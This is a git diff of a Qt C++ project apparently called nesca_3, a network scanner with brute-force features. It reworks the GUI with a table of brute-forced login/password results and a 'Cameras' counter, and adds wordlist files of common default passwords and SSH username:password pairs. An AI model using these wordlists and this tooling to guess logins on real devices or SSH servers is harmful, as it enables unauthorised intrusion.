|
||||||
class nesca_3 : public QMainWindow
|
class nesca_3 : public QMainWindow
|
||||||
{
|
{
|
||||||
Q_OBJECT
|
Q_OBJECT
|
||||||
|
|
||||||
public:
|
public:
|
||||||
nesca_3(QWidget *parent = 0);
|
nesca_3(bool isWM, QWidget *parent);
|
||||||
~nesca_3();
|
~nesca_3();
|
||||||
|
|
||||||
void ConnectEvrthng();
|
void ConnectEvrthng();
|
||||||
void ChangeLabelIpRange_Value(QString str);
|
void ChangeLabelIpRange_Value(QString str);
|
||||||
void ChangeLabelIPS_Value(QString str);
|
void ChangeLabelIPS_Value(QString str);
|
||||||
void newListItem(QString str);
|
void newListItem(QString str);
|
||||||
|
static int addBARow(QString ip, QString loginPass, QString percentage);
|
||||||
|
|
||||||
public:
|
public:
|
||||||
static int perc;
|
static int perc;
|
||||||
@ -58,6 +65,8 @@ protected:
|
|||||||
void ChangePingerOK(bool val);
|
void ChangePingerOK(bool val);
|
||||||
void changeNSTrackLabel(bool status);
|
void changeNSTrackLabel(bool status);
|
||||||
void slotPBUpdate();
|
void slotPBUpdate();
|
||||||
|
void slotPB2Update();
|
||||||
|
void slotPB2DrawPointer(int pointer);
|
||||||
void DNSLine_ValueChanged();
|
void DNSLine_ValueChanged();
|
||||||
void slotShowRedVersion();
|
void slotShowRedVersion();
|
||||||
void slotTabChanged(int index);
|
void slotTabChanged(int index);
|
||||||
@ -112,12 +121,13 @@ protected:
|
|||||||
void appendDebugText(QString str);
|
void appendDebugText(QString str);
|
||||||
void appendNotifyText(QString str);
|
void appendNotifyText(QString str);
|
||||||
void appendDefaultText(QString str);
|
void appendDefaultText(QString str);
|
||||||
void appendGreenBAData(QString str);
|
|
||||||
void appendRedBAData(QString str);
|
|
||||||
void STTTerminate();
|
void STTTerminate();
|
||||||
void drawVerboseArcs(unsigned long gTargets);
|
void drawVerboseArcs(unsigned long gTargets);
|
||||||
void finishLoading();
|
void finishLoading();
|
||||||
void slotBlockButtons(bool value);
|
void slotBlockButtons(bool value);
|
||||||
|
//BA TablelistView
|
||||||
|
void slotChangeBARow(const int index, const QString loginPass, const QString percentage);
|
||||||
|
|
||||||
private:
|
private:
|
||||||
QPoint dragPosition;
|
QPoint dragPosition;
|
||||||
};
|
};
|
||||||
@ -129,6 +139,85 @@ public:
|
|||||||
public:
|
public:
|
||||||
void contextMenuEvent(QContextMenuEvent *event);
|
void contextMenuEvent(QContextMenuEvent *event);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
class PekoWidget : public QWidget
|
||||||
|
{
|
||||||
|
Q_OBJECT;
|
||||||
|
public:
|
||||||
|
static int m_xPos;
|
||||||
|
static int m_yPos;
|
||||||
|
static int m_windowCounter;
|
||||||
|
static int offset;
|
||||||
|
|
||||||
|
PekoWidget(QWidget *parent = 0) : QWidget(parent)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
PekoWidget(const int qmwXPos, const int qmwYPos, QWidget *parent = 0) : QWidget(parent)
|
||||||
|
{
|
||||||
|
offset = 5;
|
||||||
|
setWindowFlags(Qt::FramelessWindowHint | Qt::SubWindow);
|
||||||
|
installEventFilter(this);
|
||||||
|
setStyleSheet(
|
||||||
|
"background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));");
|
||||||
|
|
||||||
|
if (m_xPos >= 1200) {
|
||||||
|
m_xPos = 305;
|
||||||
|
offset += 5;
|
||||||
|
}
|
||||||
|
setGeometry(qmwXPos - m_xPos, qmwYPos + m_yPos, 300, 200);
|
||||||
|
if (m_windowCounter++ < 3) {
|
||||||
|
m_yPos += 200 + offset;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
m_windowCounter = 0;
|
||||||
|
m_xPos += 305;
|
||||||
|
m_yPos = 0;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
protected:
|
||||||
|
bool switchWindows;
|
||||||
|
void paintEvent(QPaintEvent *e)
|
||||||
|
{
|
||||||
|
QPainter painter(this);
|
||||||
|
painter.setPen(QColor(255, 255, 255, 60));
|
||||||
|
painter.drawRoundedRect(0, 0, width() - 1, height() - 1, 0, 1);
|
||||||
|
QWidget::paintEvent(e);
|
||||||
|
|
||||||
|
}
|
||||||
|
void mousePressEvent(QMouseEvent *evt)
|
||||||
|
{
|
||||||
|
switchWindows = false;
|
||||||
|
if (evt->button() == Qt::LeftButton)
|
||||||
|
{
|
||||||
|
switchWindows = true;
|
||||||
|
oldPos = evt->globalPos();
|
||||||
|
evt->accept();
|
||||||
|
}
|
||||||
|
else if (evt->button() == Qt::RightButton)
|
||||||
|
{
|
||||||
|
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
|
||||||
|
this->hide();
|
||||||
|
};
|
||||||
|
}
|
||||||
|
void mouseMoveEvent(QMouseEvent *evt)
|
||||||
|
{
|
||||||
|
switchWindows = false;
|
||||||
|
const QPoint delta = evt->globalPos() - oldPos;
|
||||||
|
move(x() + delta.x(), y() + delta.y());
|
||||||
|
oldPos = evt->globalPos();
|
||||||
|
}
|
||||||
|
void mouseReleaseEvent()
|
||||||
|
{
|
||||||
|
if (switchWindows)
|
||||||
|
{
|
||||||
|
switchWindows = false;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
QPoint oldPos;
|
||||||
|
};
|
||||||
|
|
||||||
class PopupMsgWidget : public QWidget
|
class PopupMsgWidget : public QWidget
|
||||||
{
|
{
|
||||||
Q_OBJECT
|
Q_OBJECT
|
||||||
|
@ -1,6 +1,7 @@
|
|||||||
<RCC>
|
<RCC>
|
||||||
<qresource prefix="/nesca_3">
|
<qresource prefix="/nesca_3">
|
||||||
<file>small_font.ttf</file>
|
<file>small_font.ttf</file>
|
||||||
|
<file>xc.jpg</file>
|
||||||
<file>nesca.ico</file>
|
<file>nesca.ico</file>
|
||||||
</qresource>
|
</qresource>
|
||||||
</RCC>
|
</RCC>
|
||||||
|
BIN
nesca_3.rc
BIN
nesca_3.rc
Binary file not shown.
293
nesca_3.ui
293
nesca_3.ui
@ -963,7 +963,28 @@ color: rgb(214, 214, 0);</string>
|
|||||||
<widget class="QGraphicsView" name="pbgv">
|
<widget class="QGraphicsView" name="pbgv">
|
||||||
<property name="geometry">
|
<property name="geometry">
|
||||||
<rect>
|
<rect>
|
||||||
<x>437</x>
|
<x>451</x>
|
||||||
|
<y>20</y>
|
||||||
|
<width>26</width>
|
||||||
|
<height>102</height>
|
||||||
|
</rect>
|
||||||
|
</property>
|
||||||
|
<property name="styleSheet">
|
||||||
|
<string notr="true">background-color:rgb(38, 38, 38);
|
||||||
|
border: 1px solid rgb(227, 227, 227);
|
||||||
|
border-radius: 3px;</string>
|
||||||
|
</property>
|
||||||
|
<property name="verticalScrollBarPolicy">
|
||||||
|
<enum>Qt::ScrollBarAlwaysOff</enum>
|
||||||
|
</property>
|
||||||
|
<property name="horizontalScrollBarPolicy">
|
||||||
|
<enum>Qt::ScrollBarAlwaysOff</enum>
|
||||||
|
</property>
|
||||||
|
</widget>
|
||||||
|
<widget class="QGraphicsView" name="pbgv_2">
|
||||||
|
<property name="geometry">
|
||||||
|
<rect>
|
||||||
|
<x>420</x>
|
||||||
<y>20</y>
|
<y>20</y>
|
||||||
<width>26</width>
|
<width>26</width>
|
||||||
<height>102</height>
|
<height>102</height>
|
||||||
@ -1640,6 +1661,9 @@ border-radius: 3px;</string>
|
|||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QTextBrowser" name="dataText">
|
<widget class="QTextBrowser" name="dataText">
|
||||||
|
<property name="enabled">
|
||||||
|
<bool>true</bool>
|
||||||
|
</property>
|
||||||
<property name="geometry">
|
<property name="geometry">
|
||||||
<rect>
|
<rect>
|
||||||
<x>20</x>
|
<x>20</x>
|
||||||
@ -1701,68 +1725,6 @@ p, li { white-space: pre-wrap; }
|
|||||||
<bool>false</bool>
|
<bool>false</bool>
|
||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QLabel" name="labelStatus">
|
|
||||||
<property name="geometry">
|
|
||||||
<rect>
|
|
||||||
<x>19</x>
|
|
||||||
<y>783</y>
|
|
||||||
<width>41</width>
|
|
||||||
<height>10</height>
|
|
||||||
</rect>
|
|
||||||
</property>
|
|
||||||
<property name="sizePolicy">
|
|
||||||
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
|
|
||||||
<horstretch>0</horstretch>
|
|
||||||
<verstretch>0</verstretch>
|
|
||||||
</sizepolicy>
|
|
||||||
</property>
|
|
||||||
<property name="minimumSize">
|
|
||||||
<size>
|
|
||||||
<width>0</width>
|
|
||||||
<height>0</height>
|
|
||||||
</size>
|
|
||||||
</property>
|
|
||||||
<property name="font">
|
|
||||||
<font>
|
|
||||||
<family>Small Fonts</family>
|
|
||||||
<pointsize>7</pointsize>
|
|
||||||
</font>
|
|
||||||
</property>
|
|
||||||
<property name="styleSheet">
|
|
||||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
|
||||||
</property>
|
|
||||||
<property name="lineWidth">
|
|
||||||
<number>1</number>
|
|
||||||
</property>
|
|
||||||
<property name="text">
|
|
||||||
<string>Status:</string>
|
|
||||||
</property>
|
|
||||||
<property name="wordWrap">
|
|
||||||
<bool>false</bool>
|
|
||||||
</property>
|
|
||||||
</widget>
|
|
||||||
<widget class="QLabel" name="labelStatus_Value">
|
|
||||||
<property name="geometry">
|
|
||||||
<rect>
|
|
||||||
<x>58</x>
|
|
||||||
<y>783</y>
|
|
||||||
<width>101</width>
|
|
||||||
<height>10</height>
|
|
||||||
</rect>
|
|
||||||
</property>
|
|
||||||
<property name="font">
|
|
||||||
<font>
|
|
||||||
<family>Small Fonts</family>
|
|
||||||
<pointsize>7</pointsize>
|
|
||||||
</font>
|
|
||||||
</property>
|
|
||||||
<property name="styleSheet">
|
|
||||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
|
||||||
</property>
|
|
||||||
<property name="text">
|
|
||||||
<string>Idle</string>
|
|
||||||
</property>
|
|
||||||
</widget>
|
|
||||||
<widget class="QLabel" name="labelTargetsLeft">
|
<widget class="QLabel" name="labelTargetsLeft">
|
||||||
<property name="geometry">
|
<property name="geometry">
|
||||||
<rect>
|
<rect>
|
||||||
@ -2031,7 +1993,7 @@ p, li { white-space: pre-wrap; }
|
|||||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||||
</property>
|
</property>
|
||||||
<property name="text">
|
<property name="text">
|
||||||
<string>Anomalies</string>
|
<string>Cameras</string>
|
||||||
</property>
|
</property>
|
||||||
<property name="textFormat">
|
<property name="textFormat">
|
||||||
<enum>Qt::AutoText</enum>
|
<enum>Qt::AutoText</enum>
|
||||||
@ -2089,7 +2051,7 @@ p, li { white-space: pre-wrap; }
|
|||||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||||
</property>
|
</property>
|
||||||
<property name="text">
|
<property name="text">
|
||||||
<string>Suspicious</string>
|
<string>Other</string>
|
||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QLabel" name="labelBads">
|
<widget class="QLabel" name="labelBads">
|
||||||
@ -2115,7 +2077,7 @@ p, li { white-space: pre-wrap; }
|
|||||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||||
</property>
|
</property>
|
||||||
<property name="text">
|
<property name="text">
|
||||||
<string>WebForms</string>
|
<string>--</string>
|
||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QLabel" name="labelOverloads">
|
<widget class="QLabel" name="labelOverloads">
|
||||||
@ -2167,7 +2129,7 @@ p, li { white-space: pre-wrap; }
|
|||||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||||
</property>
|
</property>
|
||||||
<property name="text">
|
<property name="text">
|
||||||
<string>Lowloads</string>
|
<string>--</string>
|
||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QPushButton" name="logoLabel">
|
<widget class="QPushButton" name="logoLabel">
|
||||||
@ -2375,63 +2337,13 @@ p, li { white-space: pre-wrap; }
|
|||||||
<set>QGraphicsView::CacheNone</set>
|
<set>QGraphicsView::CacheNone</set>
|
||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QTextBrowser" name="BAText">
|
|
||||||
<property name="geometry">
|
|
||||||
<rect>
|
|
||||||
<x>20</x>
|
|
||||||
<y>445</y>
|
|
||||||
<width>453</width>
|
|
||||||
<height>326</height>
|
|
||||||
</rect>
|
|
||||||
</property>
|
|
||||||
<property name="font">
|
|
||||||
<font>
|
|
||||||
<family>Small Fonts</family>
|
|
||||||
<pointsize>7</pointsize>
|
|
||||||
</font>
|
|
||||||
</property>
|
|
||||||
<property name="styleSheet">
|
|
||||||
<string notr="true">background-color: rgb(26, 26,26); color:rgb(83, 83, 83);border: 1px solid white;</string>
|
|
||||||
</property>
|
|
||||||
<property name="locale">
|
|
||||||
<locale language="Chinese" country="China"/>
|
|
||||||
</property>
|
|
||||||
<property name="frameShape">
|
|
||||||
<enum>QFrame::NoFrame</enum>
|
|
||||||
</property>
|
|
||||||
<property name="frameShadow">
|
|
||||||
<enum>QFrame::Plain</enum>
|
|
||||||
</property>
|
|
||||||
<property name="undoRedoEnabled">
|
|
||||||
<bool>false</bool>
|
|
||||||
</property>
|
|
||||||
<property name="readOnly">
|
|
||||||
<bool>true</bool>
|
|
||||||
</property>
|
|
||||||
<property name="html">
|
|
||||||
<string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
|
|
||||||
<html><head><meta name="qrichtext" content="1" /><style type="text/css">
|
|
||||||
p, li { white-space: pre-wrap; }
|
|
||||||
</style></head><body style=" font-family:'Small Fonts'; font-size:7pt; font-weight:400; font-style:normal;">
|
|
||||||
<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'Eurostile'; font-size:8pt;"><br /></p></body></html></string>
|
|
||||||
</property>
|
|
||||||
<property name="cursorWidth">
|
|
||||||
<number>5</number>
|
|
||||||
</property>
|
|
||||||
<property name="textInteractionFlags">
|
|
||||||
<set>Qt::LinksAccessibleByKeyboard|Qt::LinksAccessibleByMouse|Qt::TextBrowserInteraction|Qt::TextSelectableByKeyboard|Qt::TextSelectableByMouse</set>
|
|
||||||
</property>
|
|
||||||
<property name="openExternalLinks">
|
|
||||||
<bool>true</bool>
|
|
||||||
</property>
|
|
||||||
</widget>
|
|
||||||
<widget class="QPushButton" name="switcherBut">
|
<widget class="QPushButton" name="switcherBut">
|
||||||
<property name="geometry">
|
<property name="geometry">
|
||||||
<rect>
|
<rect>
|
||||||
<x>480</x>
|
<x>475</x>
|
||||||
<y>500</y>
|
<y>467</y>
|
||||||
<width>16</width>
|
<width>16</width>
|
||||||
<height>205</height>
|
<height>21</height>
|
||||||
</rect>
|
</rect>
|
||||||
</property>
|
</property>
|
||||||
<property name="font">
|
<property name="font">
|
||||||
@ -2447,54 +2359,12 @@ p, li { white-space: pre-wrap; }
|
|||||||
<string>Brute activity</string>
|
<string>Brute activity</string>
|
||||||
</property>
|
</property>
|
||||||
<property name="styleSheet">
|
<property name="styleSheet">
|
||||||
<string notr="true">border: 1px solid rgb(216, 216, 216);
|
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
|
||||||
color: rgb(216, 216, 216);
|
|
||||||
background-color: #000000;</string>
|
|
||||||
</property>
|
</property>
|
||||||
<property name="text">
|
<property name="text">
|
||||||
<string><</string>
|
<string><</string>
|
||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QLabel" name="labelTracker">
|
|
||||||
<property name="geometry">
|
|
||||||
<rect>
|
|
||||||
<x>200</x>
|
|
||||||
<y>783</y>
|
|
||||||
<width>45</width>
|
|
||||||
<height>10</height>
|
|
||||||
</rect>
|
|
||||||
</property>
|
|
||||||
<property name="sizePolicy">
|
|
||||||
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
|
|
||||||
<horstretch>0</horstretch>
|
|
||||||
<verstretch>0</verstretch>
|
|
||||||
</sizepolicy>
|
|
||||||
</property>
|
|
||||||
<property name="minimumSize">
|
|
||||||
<size>
|
|
||||||
<width>0</width>
|
|
||||||
<height>0</height>
|
|
||||||
</size>
|
|
||||||
</property>
|
|
||||||
<property name="font">
|
|
||||||
<font>
|
|
||||||
<family>Small Fonts</family>
|
|
||||||
<pointsize>7</pointsize>
|
|
||||||
</font>
|
|
||||||
</property>
|
|
||||||
<property name="styleSheet">
|
|
||||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
|
||||||
</property>
|
|
||||||
<property name="lineWidth">
|
|
||||||
<number>1</number>
|
|
||||||
</property>
|
|
||||||
<property name="text">
|
|
||||||
<string>NS-Track:</string>
|
|
||||||
</property>
|
|
||||||
<property name="wordWrap">
|
|
||||||
<bool>false</bool>
|
|
||||||
</property>
|
|
||||||
</widget>
|
|
||||||
<widget class="QGraphicsView" name="graphicActivityGrid">
|
<widget class="QGraphicsView" name="graphicActivityGrid">
|
||||||
<property name="geometry">
|
<property name="geometry">
|
||||||
<rect>
|
<rect>
|
||||||
@ -3026,8 +2896,8 @@ background-color: #000000;</string>
|
|||||||
</property>
|
</property>
|
||||||
<property name="geometry">
|
<property name="geometry">
|
||||||
<rect>
|
<rect>
|
||||||
<x>249</x>
|
<x>456</x>
|
||||||
<y>785</y>
|
<y>0</y>
|
||||||
<width>8</width>
|
<width>8</width>
|
||||||
<height>8</height>
|
<height>8</height>
|
||||||
</rect>
|
</rect>
|
||||||
@ -3039,7 +2909,7 @@ background-color: #000000;</string>
|
|||||||
</font>
|
</font>
|
||||||
</property>
|
</property>
|
||||||
<property name="styleSheet">
|
<property name="styleSheet">
|
||||||
<string notr="true">background-color: black; border: 1px solid white;</string>
|
<string notr="true">background-color: black; border: 1px solid #313131;</string>
|
||||||
</property>
|
</property>
|
||||||
<property name="text">
|
<property name="text">
|
||||||
<string/>
|
<string/>
|
||||||
@ -3127,15 +2997,98 @@ background-color: #000000;</string>
|
|||||||
<string>✔:</string>
|
<string>✔:</string>
|
||||||
</property>
|
</property>
|
||||||
</widget>
|
</widget>
|
||||||
|
<widget class="QLineEdit" name="currentDirectoryLine">
|
||||||
|
<property name="geometry">
|
||||||
|
<rect>
|
||||||
|
<x>20</x>
|
||||||
|
<y>780</y>
|
||||||
|
<width>351</width>
|
||||||
|
<height>16</height>
|
||||||
|
</rect>
|
||||||
|
</property>
|
||||||
|
<property name="font">
|
||||||
|
<font>
|
||||||
|
<pointsize>7</pointsize>
|
||||||
|
</font>
|
||||||
|
</property>
|
||||||
|
<property name="mouseTracking">
|
||||||
|
<bool>false</bool>
|
||||||
|
</property>
|
||||||
|
<property name="focusPolicy">
|
||||||
|
<enum>Qt::NoFocus</enum>
|
||||||
|
</property>
|
||||||
|
<property name="styleSheet">
|
||||||
|
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||||
|
</property>
|
||||||
|
<property name="text">
|
||||||
|
<string/>
|
||||||
|
</property>
|
||||||
|
<property name="frame">
|
||||||
|
<bool>false</bool>
|
||||||
|
</property>
|
||||||
|
<property name="readOnly">
|
||||||
|
<bool>true</bool>
|
||||||
|
</property>
|
||||||
|
</widget>
|
||||||
|
<widget class="QTableView" name="BATableView">
|
||||||
|
<property name="geometry">
|
||||||
|
<rect>
|
||||||
|
<x>20</x>
|
||||||
|
<y>445</y>
|
||||||
|
<width>453</width>
|
||||||
|
<height>326</height>
|
||||||
|
</rect>
|
||||||
|
</property>
|
||||||
|
<property name="font">
|
||||||
|
<font>
|
||||||
|
<family>Small Fonts</family>
|
||||||
|
<pointsize>7</pointsize>
|
||||||
|
</font>
|
||||||
|
</property>
|
||||||
|
<property name="styleSheet">
|
||||||
|
<string notr="true">background-color: rgb(26, 26,26); border: 1px solid white;</string>
|
||||||
|
</property>
|
||||||
|
<property name="locale">
|
||||||
|
<locale language="English" country="UnitedStates"/>
|
||||||
|
</property>
|
||||||
|
<property name="frameShape">
|
||||||
|
<enum>QFrame::NoFrame</enum>
|
||||||
|
</property>
|
||||||
|
<property name="frameShadow">
|
||||||
|
<enum>QFrame::Plain</enum>
|
||||||
|
</property>
|
||||||
|
<property name="horizontalScrollBarPolicy">
|
||||||
|
<enum>Qt::ScrollBarAlwaysOff</enum>
|
||||||
|
</property>
|
||||||
|
<property name="selectionMode">
|
||||||
|
<enum>QAbstractItemView::SingleSelection</enum>
|
||||||
|
</property>
|
||||||
|
<property name="selectionBehavior">
|
||||||
|
<enum>QAbstractItemView::SelectRows</enum>
|
||||||
|
</property>
|
||||||
|
<property name="cornerButtonEnabled">
|
||||||
|
<bool>false</bool>
|
||||||
|
</property>
|
||||||
|
<attribute name="horizontalHeaderVisible">
|
||||||
|
<bool>false</bool>
|
||||||
|
</attribute>
|
||||||
|
<attribute name="verticalHeaderVisible">
|
||||||
|
<bool>false</bool>
|
||||||
|
</attribute>
|
||||||
|
<attribute name="verticalHeaderDefaultSectionSize">
|
||||||
|
<number>20</number>
|
||||||
|
</attribute>
|
||||||
|
<attribute name="verticalHeaderMinimumSectionSize">
|
||||||
|
<number>10</number>
|
||||||
|
</attribute>
|
||||||
|
</widget>
|
||||||
|
<zorder>BATableView</zorder>
|
||||||
<zorder>graphicTextPlacer</zorder>
|
<zorder>graphicTextPlacer</zorder>
|
||||||
<zorder>BAText</zorder>
|
|
||||||
<zorder>labelNesca_3</zorder>
|
<zorder>labelNesca_3</zorder>
|
||||||
<zorder>tabMainWidget</zorder>
|
<zorder>tabMainWidget</zorder>
|
||||||
<zorder>line</zorder>
|
<zorder>line</zorder>
|
||||||
<zorder>exitButton</zorder>
|
<zorder>exitButton</zorder>
|
||||||
<zorder>dataText</zorder>
|
<zorder>dataText</zorder>
|
||||||
<zorder>labelStatus</zorder>
|
|
||||||
<zorder>labelStatus_Value</zorder>
|
|
||||||
<zorder>line_2</zorder>
|
<zorder>line_2</zorder>
|
||||||
<zorder>RedLabel</zorder>
|
<zorder>RedLabel</zorder>
|
||||||
<zorder>YellowLabel</zorder>
|
<zorder>YellowLabel</zorder>
|
||||||
@ -3159,7 +3112,6 @@ background-color: #000000;</string>
|
|||||||
<zorder>graphicLog_2</zorder>
|
<zorder>graphicLog_2</zorder>
|
||||||
<zorder>graphicLog_Upper</zorder>
|
<zorder>graphicLog_Upper</zorder>
|
||||||
<zorder>switcherBut</zorder>
|
<zorder>switcherBut</zorder>
|
||||||
<zorder>labelTracker</zorder>
|
|
||||||
<zorder>graphicActivityGrid</zorder>
|
<zorder>graphicActivityGrid</zorder>
|
||||||
<zorder>graphicActivity</zorder>
|
<zorder>graphicActivity</zorder>
|
||||||
<zorder>VoiceScanBut</zorder>
|
<zorder>VoiceScanBut</zorder>
|
||||||
@ -3188,6 +3140,7 @@ background-color: #000000;</string>
|
|||||||
<zorder>labelRunningThreads</zorder>
|
<zorder>labelRunningThreads</zorder>
|
||||||
<zorder>labelSavedValue</zorder>
|
<zorder>labelSavedValue</zorder>
|
||||||
<zorder>labelSaved</zorder>
|
<zorder>labelSaved</zorder>
|
||||||
|
<zorder>currentDirectoryLine</zorder>
|
||||||
</widget>
|
</widget>
|
||||||
<widget class="QWidget" name="widgetJOB" native="true">
|
<widget class="QWidget" name="widgetJOB" native="true">
|
||||||
<property name="geometry">
|
<property name="geometry">
|
||||||
|
54
pass.txt
54
pass.txt
@ -0,0 +1,54 @@
|
|||||||
|
12345
|
||||||
|
root
|
||||||
|
admin
|
||||||
|
password
|
||||||
|
123456
|
||||||
|
1234
|
||||||
|
|
||||||
|
|
||||||
|
123123
|
||||||
|
pass
|
||||||
|
qwerty
|
||||||
|
meinsm
|
||||||
|
monitor
|
||||||
|
user
|
||||||
|
support
|
||||||
|
test
|
||||||
|
sysadm
|
||||||
|
admin123
|
||||||
|
Admin
|
||||||
|
123321
|
||||||
|
12344321
|
||||||
|
toor
|
||||||
|
qwerty123
|
||||||
|
1q2w3e4r
|
||||||
|
987654321
|
||||||
|
system
|
||||||
|
111111
|
||||||
|
1111
|
||||||
|
654321
|
||||||
|
54321
|
||||||
|
!@#$%^
|
||||||
|
0000
|
||||||
|
000000
|
||||||
|
master
|
||||||
|
12345678
|
||||||
|
666666
|
||||||
|
888888
|
||||||
|
88888888
|
||||||
|
777777
|
||||||
|
555555
|
||||||
|
123321123
|
||||||
|
222222
|
||||||
|
333333
|
||||||
|
444444
|
||||||
|
999999
|
||||||
|
111222333
|
||||||
|
123123123
|
||||||
|
123454321
|
||||||
|
0123456789
|
||||||
|
qqqqqq
|
||||||
|
administrator
|
||||||
|
backup
|
||||||
|
super
|
||||||
|
ubnt
|
@ -11,14 +11,14 @@ void PieStat::run()
|
|||||||
while(PieStatFlag)
|
while(PieStatFlag)
|
||||||
{
|
{
|
||||||
psTh->doEmitUpdatePie();
|
psTh->doEmitUpdatePie();
|
||||||
AnomC1 = 0;
|
camerasC1 = 0;
|
||||||
WF = 0;
|
//WF = 0;
|
||||||
baCount = 0;
|
baCount = 0;
|
||||||
filtered = 0;
|
filtered = 0;
|
||||||
Overl = 0;
|
Overl = 0;
|
||||||
Lowl = 0;
|
//Lowl = 0;
|
||||||
Alive = 0;
|
Alive = 0;
|
||||||
Susp = 0;
|
other = 0;
|
||||||
ssh = 0;
|
ssh = 0;
|
||||||
msleep(500);
|
msleep(500);
|
||||||
};
|
};
|
||||||
|
2473
qrc_nesca_3.cpp
2473
qrc_nesca_3.cpp
File diff suppressed because it is too large
Load Diff
29
sshpass.txt
29
sshpass.txt
@ -0,0 +1,29 @@
|
|||||||
|
hw230f8034t:17932yhf823
|
||||||
|
admin:
|
||||||
|
root:root
|
||||||
|
root:admin
|
||||||
|
admin:admin
|
||||||
|
admin:root
|
||||||
|
backup:backup
|
||||||
|
guest:guest
|
||||||
|
root:master
|
||||||
|
root:1234
|
||||||
|
admin:master
|
||||||
|
admin:111111
|
||||||
|
root:12345
|
||||||
|
root:123456
|
||||||
|
admin:1234
|
||||||
|
admin:12345
|
||||||
|
root:12345678
|
||||||
|
root:123123
|
||||||
|
admin:123456
|
||||||
|
admin:12345678
|
||||||
|
root:654321
|
||||||
|
admin:123123
|
||||||
|
admin:654321
|
||||||
|
root:password
|
||||||
|
admin:pasword
|
||||||
|
root:1qazXSW@
|
||||||
|
test:test
|
||||||
|
:
|
||||||
|
user:user
|
@ -0,0 +1,3 @@
|
|||||||
|
[FAIL]
|
||||||
|
admin
|
||||||
|
root
|
10
wfpass.txt
10
wfpass.txt
@ -0,0 +1,10 @@
|
|||||||
|
[FAIL]
|
||||||
|
admin
|
||||||
|
root
|
||||||
|
pass
|
||||||
|
password
|
||||||
|
toor
|
||||||
|
123123
|
||||||
|
123456
|
||||||
|
12345
|
||||||
|
qwerty
|
Loading…
Reference in New Issue
Block a user